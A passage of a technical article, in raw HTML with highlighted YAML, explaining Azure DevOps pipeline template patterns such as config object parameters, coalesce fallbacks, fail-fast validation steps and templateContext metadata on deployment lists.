style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# steps-template.yml — unpacks the config object here only\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDocker@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Push container image\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003erepository\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.containerRegistry }}/myapp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003epush\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003earguments\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;--build-arg CACHE=${{ parameters.config.cacheEnabled }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying to ${{ parameters.config.environment }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Report deployment target\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAdding a new \u003ccode\u003edeployTimeout\u003c/code\u003e property now requires editing two files: \u003ccode\u003epipeline.yml\u003c/code\u003e (to expose it in the default) and \u003ccode\u003esteps-template.yml\u003c/code\u003e (to consume it). The intermediate layers have no awareness the property exists.\u003c/p\u003e\n\u003ch3 id=\"defining-and-consuming-the-config-object\"\u003eDefining and Consuming the Config Object\u003c/h3\u003e\n\u003cp\u003eThe top-level pipeline defines the object with default values using YAML block mapping syntax under the \u003ccode\u003edefault:\u003c/code\u003e key. This makes most properties optional — callers only override what differs from the organizational default:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — full config schema with organizational defaults\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDev                          \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# deployment target environment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# ACR instance for image pushes\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elatest                          \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# container image tag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ereplicaCount\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e                            \u003cspan style=\"color:#75715e\"\u003e# AKS replica target\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ecacheEnabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e                         \u003cspan style=\"color:#75715e\"\u003e# build cache toggle\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e                    \u003cspan style=\"color:#75715e\"\u003e# manual approval gate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003enotificationEmail\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e                      \u003cspan style=\"color:#75715e\"\u003e# alert recipient (omit to suppress)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeploymentRegion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus                  \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Azure region\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployTimeout\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e                          \u003cspan style=\"color:#75715e\"\u003e# deployment timeout in minutes\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ehealthCheckPath\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e/health                  \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# readiness probe path\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe bottom-layer consumer reads properties with \u003ccode\u003e${{ parameters.config.propertyName }}\u003c/code\u003e. These are compile-time expressions — the property must exist in the object at evaluation time.\u003c/p\u003e\n\u003cp\u003eFor optional properties where an empty string is a valid caller-supplied value, use an explicit conditional rather than \u003ccode\u003ecoalesce\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if parameters.config.notificationEmail }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSendEmail@1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.notificationEmail }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esubject: \u0026#39;Deployment complete\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.environment }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor optional properties where a fallback default should apply when the caller omits the value, use \u003ccode\u003ecoalesce()\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    kubectl scale deployment myapp \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      --replicas=${{ coalesce(parameters.config.replicaCount, 2) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Scale deployment\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOne edge case to know: \u003ccode\u003ecoalesce\u003c/code\u003e skips both null values and empty strings (\u003ccode\u003e''\u003c/code\u003e). If a caller passes \u003ccode\u003ereplicaCount: ''\u003c/code\u003e intending to use the default, \u003ccode\u003ecoalesce\u003c/code\u003e will skip it and apply the fallback — which is usually the intended behavior. If empty string is a meaningful value for a property, use an explicit \u003ccode\u003e${{ if }}\u003c/code\u003e check instead.\u003c/p\u003e\n\u003ch3 id=\"type-safety-trade-offs\"\u003eType Safety Trade-offs\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eobject\u003c/code\u003e parameters have no schema. A caller can omit a required property and the error surfaces at task execution — not at parse time. For a property like \u003ccode\u003econtainerRegistry\u003c/code\u003e that every Docker push step needs, a silent empty string causes a cryptic runtime failure from the Docker task rather than a clear message from the template.\u003c/p\u003e\n\u003cp\u003eThe mitigation is a validation block at the start of the consumer template:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# steps-template.yml — validate required properties before any steps run\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Fail fast with a clear message if containerRegistry is missing\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if not(parameters.config.containerRegistry) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;##vso[task.logissue type=error]config.containerRegistry is required but was not provided.\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Example: config: { containerRegistry: \u0026#39;myregistry.azurecr.io\u0026#39;, imageTag: \u0026#39;$(Build.BuildId)\u0026#39; }\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        exit 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName: \u0026#39;ERROR\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eMissing required config.containerRegistry\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDocker@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Push container image\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003erepository\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.containerRegistry }}/myapp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003epush\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis is a deliberate trade-off: less parse-time type safety in exchange for a template tree that does not require a coordinated multi-file update every time a new property is added. Validate required properties explicitly where they are consumed and let optional properties default gracefully.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"pattern-2--templatecontext-for-job-and-stage-lists\"\u003ePattern 2 — \u003ccode\u003etemplateContext\u003c/code\u003e for Job and Stage Lists\u003c/h2\u003e\n\u003ch3 id=\"the-problem-templatecontext-solves\"\u003eThe Problem \u003ccode\u003etemplateContext\u003c/code\u003e Solves\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003ejobList\u003c/code\u003e, \u003ccode\u003edeploymentList\u003c/code\u003e, and \u003ccode\u003estageList\u003c/code\u003e parameter types accept lists of definitions. Before \u003ccode\u003etemplateContext\u003c/code\u003e, there was no way to attach per-item metadata to an individual job in that list. If a template needed to know which environment each job targeted, teams used parallel parameter arrays:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Before templateContext: parallel arrays that must be index-aligned\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ejobs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ejobList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etargetEnvironments \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# must match the jobs array by index position\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIndex alignment is fragile. Reorder the jobs array without reordering the environments array and you silently deploy to the wrong target. \u003ccode\u003etemplateContext\u003c/code\u003e eliminates the alignment problem by co-locating metadata with the job definition that needs it.\u003c/p\u003e\n\u003ch3 id=\"declaring-and-reading-templatecontext\"\u003eDeclaring and Reading \u003ccode\u003etemplateContext\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eAdd \u003ccode\u003etemplateContext:\u003c/code\u003e as a sibling of \u003ccode\u003esteps:\u003c/code\u003e inside a job definition. It accepts any YAML mapping. The template that processes the \u003ccode\u003ejobList\u003c/code\u003e reads it via \u003ccode\u003e${{ job.templateContext.myProperty }}\u003c/code\u003e inside a \u003ccode\u003e${{ each }}\u003c/code\u003e loop.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e is stripped from the compiled output — it does not appear in the Expanded YAML and does not affect schema validation of the job.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — each deployment carries its own metadata in templateContext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploy-stages.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.BuildId)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployments\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003etargetEnvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eapprovalGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev-approvers\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edeploymentSlot\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Building for dev\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Build\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployProd\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003etargetEnvironment\u003c/span\u003e: \u003cspan 